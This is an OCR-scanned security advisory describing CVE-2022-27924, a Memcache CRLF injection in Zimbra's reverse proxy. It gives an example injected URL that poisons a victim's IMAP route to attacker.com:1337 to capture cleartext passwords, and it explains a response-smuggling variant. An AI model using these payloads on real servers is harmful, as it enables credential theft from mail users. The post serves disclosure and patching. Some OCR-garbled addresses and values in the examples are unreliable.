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Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for
research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs
because this text says so.

TL:DR overview

e Sonar researchers discovered a Zimbra vulnerability where memcache injection allows
attackers to steal clear-text credentials by poisoning the cached authentication data.

e The attack exploits insufficient input sanitization in Zimbra's memcache protocol handling,
enabling an attacker to inject commands that redirect credential storage to an attacker-
controlled key.

e Clear-text credential theft gives attackers direct access to email accounts without triggering
password reset alerts or multi-factor authentication challenges.

e Zimbra administrators should patch immediately; the finding highlights the security risks of
using memcache without proper input validation in authentication-critical code paths.

Zimbra is an enterprise-level email solution, similar to Microsoft Exchange. It comes with mail
servers, load balancing features, a powerful web interface, and more. According to the vendor's
website, it is used around the globe by over 200,000 businesses, universities, and financial &
government institutions where users log in to their Zimbra mail account to read and send private
emails.

We discovered a vulnerability in Zimbra that allows an attacker to steal the login credentials from
users of a targeted Zimbra deployment. With the consequent access to the victims' mailboxes,
attackers can potentially escalate their access to targeted organizations and gain access to various
internal services and steal highly sensitive information. With mail access, attackers can reset



passwords, impersonate their victims, and silently read all private conversations within the
targeted company. Just a few months ago, Volexity published research on a Oday vulnerability
being used to target Zimbra instances, in particular those deployed by government institutions. In
their blog post, they mention that it is likely that a state actor was behind the attacks.

This blog post describes a new vulnerability that allows an unauthenticated attacker to steal
cleartext credentials from a Zimbra instance without any user interaction. We will learn how
Memcache Injection vulnerabilities work and how attackers can exploit them. Due to the severity
of this issue and previous exploitation of Zimbra instances, we urge Zimbra users to upgrade their
installations immediately.

Impact

The following video demonstrates how an unauthenticated attacker can steal the password of a
known user of a targeted instance. The vulnerability triggers the next time the victim uses a mail
client to connect to their organization’s Zimbra server.

Zimbra - Stealing a victim's password

We verified that the code flaws (CVE-2022-27924) are present in both the 8.8.x and 9.x branches of
Zimbra, affecting both the open-source and commercial versions. The code flaws affect Zimbra’s
Reverse Proxy and can be exploited with default configurations by an unauthenticated attacker.
The fixed versions are respectively 8.8.15 with Patch level 31.1 and 9.0.0 with Patch level 24.1..

As detailed later in this blog post, there are two strategies that attackers could use to exploit this
vulnerability: The first strategy requires the attacker to know the email address of victims to be
able to steal their login credentials. Typically, an organization uses a pattern for email addresses
for their members, such as {firstname}.{lastname}@example.com . A list of email addresses could be
obtained from OSINT sources such as LinkedIn.

The second exploitation technique exploits “Response Smuggling” to bypass the restrictions
imposed by the first strategy and allows an attacker to steal cleartext credentials from any
vulnerable Zimbra instance without requiring any knowledge about the instance. Both strategies
require no user interaction.

Technical Details

In the following sections, we provide a high-level overview of Zimbra's architecture. Although the
root cause of the security issue lies in the source code, an understanding of the setup is necessary
to understand the vulnerability and how an attacker might exploit it.

Background - Zimbra Proxy

By default, the Zimbra installation script installs all necessary services on a single server.
Additional backend servers can be easily added to distribute the workload of heavy email
exchange.

In order to manage this load balancing feature, Zimbra uses Nginx as a Reverse Proxy to receive all
incoming HTTP and Email (IMAP & POP3) traffic and forward it to one of the registered backend
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servers. Due to Zimbra's architecture, Nginx's default behavior of forwarding requests to backend
servers in a round-robin fashion is not sufficient. The reason for this is that the data stored on
different backend servers might not be mirrored on all servers and different backend servers are
responsible for different users.

To tackle this problem, Zimbra's developers maintain a modified version of Nginx, as well as custo
m Nginx modules. These customizations ensure that Nginx forwards traffic sent by a specific user
to the correct backend server.

The correct routing is achieved via the Zimbra Lookup Service. When Zimbra's Reverse Proxy
receives a connection (1), it attempts to identify the user making the request through various
methods. One example of this is extracting the user from certain URLs. When an incoming HTTP
request is made to the example URL https://example.com/service/home/ exampleUser /file , the user
exampleUser is identified.

Zimbra's Nginx then (2) makes an HTTP request to the internal Zimbra Lookup Service and asks it
for the correct backend server for this user. This service then replies with an IP and Port, to which
the incoming traffic is then forwarded (3).

The following graphic illustrates this process:

Zimbra
Lookup
Service

It is important to note that this process takes place even if there is only one backend server
registered and the result will always be the same. Hence, the vulnerabilities can be exploited even
when no additional servers were added.

Background - Route Caching with Memcached

In the previous section, we described how Zimbra's Reverse Proxy makes an HTTP request to the
Zimbra Lookup Service for every connection it receives, before forwarding the traffic to the correct
backend service.
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As this extra HTTP request is expensive on performance, the result is cached per user by a
Memcached instance. Before making the HTTP request to the Lookup Service, the cache is checked
for an existing route. If a cache entry exists, the Lookup request is skipped.

Memcached is a server that stores key/value pairs that can be set and retrieved with a simple text-
based protocol.

Let's continue the previous example of exampleUser making an HTTP request. Once the right
backend server has been fetched from the Zimbra Lookup Service, the backend server's address is
added to the cache by sending the responsible Memcached service the following message:

[image: The add command for Memcache]

The snippet above shows that the add command was used to set the key
route:proto=httpssl;user=exampleUser@example.com . The following graphic explains different message
parts of the Memcached message that was sent:

@ flags - in this case no special flags are set as the value is O

Please note that we explicitly use (\r\n) to indicate new lines in Memcache example messages, as
they are important to understand the following vulnerability.

The server then responds with a simple message to signal the Memcached client, in this case,
Zimbra's reverse proxy, that the store was successful:

[image: Stored reply]

After this data was added to the cache, Zimbra's Reverse Proxy attempts to fetch it every time the
exampleUser makes an HTTP request. To do so, it would send the Memcached server the following
message:

[image: fetching a route]
The Memcached server would then send the following reply:
[image: A route value reply]

We can see how the key of the cache entry is predictable. It follows the format
route:proto= PROTOCOL ;user= EMAIL. The protocol could be httpssl, imap or pop3.We will
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discuss the two latter options later.

Vulnerability (CVE-2022-27924) - CRLF injection in Memcached lookups

Memcached uses a text-based protocol that interprets incoming data line by line. This means that
if an attacker would be able to inject newline characters into the username of Memcached
lookups, they could execute malicious Memcached commands.

In the previous sections, we described how an HTTP request to the URL
https://example.com/service/home/ exampleUser /file leads to the following Memcached lookup:

[image: a route lookup]

What happens if the URL contains newlines, followed by an injected command? Let's assume an
attacker were to craft the following URL (not encoded for clarity):

[image: A stats injection]

As newlines were in fact not escaped prior to constructing Memcached lookups, the following data
would be sent to the Memcached server by Zimbra's Reverse Proxy:

[image: stats injection request]

The server then processes the input line by line and would respond with the following data:

END (\r\n)

STAT pid 398234

STAT uptime 162373
STAT time 1646996850
STAT version 1.6.5

~ (\r\n)

ERROR

The first line of the response contains END(\r\n) to indicate that the get command failed as the
route:proto=httpssl;user=example key was not present. On the next line, Memcached responded with
various runtime statistics as a response to the injected stats command. The last line indicates an
error to the User@example.com string, which was on its own line but does not represent a valid
command.

The example above demonstrates how attackers can execute arbitrary Memcached commands, of
which a documented list exists. Most importantly, an attacker can create and overwrite arbitrary
cache entries, given they know the key they want to overwrite. This is achieved by injecting an add
or set command.

Stealing cleartext credentials of known users

In the previous sections, we have seen how attackers can overwrite cache entries in the
Memcached instance of a targeted Zimbra installation. In order to understand how an attacker
would exploit this vulnerability, we needed to find out which cache entries could be overwritten
and what security impact this might have on a targeted Zimbra instance.

Route cache entries turned out to be interesting targets to be overwritten as the route keys are
predictable. We have previously seen how the exampleUser 's route is cached with the key
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route:proto=httpssl;user=exampleUser@example.com . Here, the protocol is httpssl, as the user was
identified through the request URL of an HTTP(s) request. Then, the exampleUser@example.com
string follows. The username is predictable as we control it. example.com is derived from the Host
header that was part of the same HTTP request.

We mentioned earlier that Zimbra uses Nginx to proxy IMAP and POP3 traffic as well. With all of
this in mind, we realized an attacker could overwrite the IMAP route cache entries for any known
user of a targeted installation, for example by making the following HTTP request:

https://example.com/service/home/example\r\nset
route:proto=imapssl;user=victim@example.com 0 3600
l4\r\nattacker.com:1337\r\nUser/file

As a result, the following message would have been sent to the server:

get example (\r\n)

set route:proto=imapssl;user=victim@example.com 0 3600 14 (\r\n)
attacker.com:1337 (\r\n)

User

As a result of this cache poisoning, the next time the victim@example.com user would connect to
their Zimbra instance via IMAP, the Nginx Proxy would use the poisoned value and forward all
IMAP traffic to an attacker-controlled server. Consequently, clear-text credentials are forwarded to
the attacker's server.

All of this happens in the background without the victim user knowing. Usually, Mail clients such as
Thunderbird, Microsoft Outlook, the macOS Mail app, and Smartphone mail apps store the
credentials that the user used to connect to their IMAP server on disk. When the Mail client
restarts or needs to re-connect, which can happen periodically, it will re-authenticate itself to the
targeted Zimbra instance.

Organizations usually have a naming convention for email addresses for their members, for
example, {firstname}.{lastname}@company.tld . If an attacker conducting targeted attacks can get a list
of members of an organization, for example by using a source such as LinkedIn, they could poison
the caches for all known users and wait until the next time their email clients reconnect to the
targeted company's Zimbra instance. They would then be given a list of cleartext credentials.

Memcache response injection to steal arbitrary credentials

In the previous section, we demonstrated how an attacker can steal the username and password
of users of a targeted Zimbra instance by poisoning their IMAP route cache entry.

However, for this attack to succeed, the following requirements must be met: (1) An attacker has
to know the email addresses of one or multiple victims to be able to poison their cache entries and
2) the victims have to actually use an IMAP client. Zimbra ships with a web client that bypasses the
Proxy route lookup and directly talks to the backend server, thus no credentials could be stolen.
Although we think that it is very reasonable to assume that in an organization with hundreds of
members at least a subset of users uses a mail client (including those installed on phones), the
users the attacker knows about might not use them.



An attacker can exploit Zimbra's Memcached client in an interesting way to bypass these
restrictions and steal credentials from any user utilizing an email client.

By default, Zimbra uses 4 worker processes to handle incoming connections. In a default
configuration, each worker process can handle 10240 connections. A connection slot might be
filled with an HTTP request or an IMAP or POP3 session.

What caught our attention was the fact that Zimbra's Nginx established one connection to the
Memcached server per process and not per user connection.

In the underlying code, whenever a worker thread handling a user connection needs to fetch a
cache entry from Memcached, the thread sends the message to the Memcached server via the
shared socket and then enqueues a work item in a queue that is shared across all threads of a
worker process.

Let's assume that there are concurrently 3 users (A, B, and C)whose route lookup is in the work
gueue. Once the Memcached server processed all 3 lookups it sends the results for the three
lookups back to the client. We can illustrate this state with the following image:

As a reminder, if the users A, B and C had made a HTTP request, the following Memcached
commands would have been sent to the server:

get route:proto=httpssl;user=Alexample.com(\r\n)
get route:proto=httpssl;user=Blexample.com(\r\n)
get route:proto=httpssl;user=Clexample.com(\r\n)

Memcached would have then responded with the following data:



VALUE route:proto=httpssl;user=ARexample.com 0 14 (\r\n)
127.0.1.1:8443 (\r\n)

END

VALUE route:proto=httpssl;user=Bfexample.com 0 14 (\r\n)
127.0.1.1:8443 (\r\n)

END

VALUE route:proto=httpssl;user=Clexample.com 0 14 (\r\n)
127.06:1 18443 (\rXn)

END

User A's lookup response is first in the shared work queue. When processed, only the bytes in the
response stream that are relevant to this work item are processed. In this case, it is the first value.
After having processed A's work item, B's work item is processed with the remaining bytes, and
so on.

This behavior can be exploited by injecting more responses to get requests than there are work
items in the queue. Let's assume again that cache lookups of users A, B, and C are in the shared
work queue. However, user A is malicious and abuses the previously discussed CLRF to force
Zimbra to send the following traffic to the Memcached server:

get route:proto=httpssl;user=(\r\n)

get ARexample.com(\r\n)

get route:proto=httpssl;user=Bfexample.com(\r\n)
get route:proto=httpssl;user=Clexample.com(\r\n)

If the attacker had previously set the route:proto=httpssl,user= and A@example.com cache entries to
a value of an attacker-controlled server, the response stream could look like the following;:

VALUE route:proto=httpssl;user= 0 17 (\r\n)
attacker.com:1337 (\r\n)

END

VALUE AQ@example.com 0 17 (\r\n)

attacker.com:1337 (\r\n)

END

VALUE route:proto=httpssl;user=Blexample.com 0 14 (\r\n)
127:0.2.1384843 (\Nz\n)

END

VALUE route:proto=httpssl;user=Clexample.com 0 14 (\r\n)
L2701 1:0:8448 (\e\n)

END

We can also illustrate this state with the following image:



result C

The image above demonstrates how there are more items in the response stream than there are
items in the work queue. If this state was forced, A's cache lookup request would process only the
first result, result A1.When B's cache lookup request is then processed, it would use the value of
result A2, which is attacker-controlled.

The idea is that by continuously injecting more responses than there are work items into the
shared response streams of Memcached, we can force random Memcached lookups to use
injected responses instead of the correct response. This works because Zimbra did not validate
the key of the Memcached response when consuming it.

By exploiting this behavior, we can hijack the proxy connection of random users connecting to our
IMAP server without having to know their email addresses. This exploitation strategy also does not
break anything, as HTTP lookup requests that would use a poisoned value would fall back to a
Round Robin approach.

Patch

Zimbra patched the vulnerability by creating a SHA-256 hash of all Memcache keys before sending
them to the Memcache server. As the hex-string representation of a SHA-256 can't contain
whitespaces, no new-lines can be injected anymore.

The fixed versions are respectively 8.8.15 with Patch level 31.1 and 9.0.0 with Patch level 24.1.

Timeline
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Summary

In this blog post, we presented a Memcache Injection vulnerability in Zimbra that exists because
newline characters (\r\n) are not escaped in untrusted user input. This code flaw ultimately allows
attackers to steal cleartext credentials from users of targeted Zimbra instances.

Although vulnerabilities such as Cross-Site Scripting and SQL Injections still exist and occur due to
a lack of input escaping, they have been well known and documented for decades. The majority of
developers understand these vulnerabilities and that certain, context-specific characters should be
escaped before passing them to a potentially dangerous function. However, as we have seen,
other injection vulnerabilities can occur that are less known and can have a critical impact.

We recommend developers to always be aware of special characters that should be escaped when
dealing with technology where less documentation and research about potential vulnerabilities
exists.
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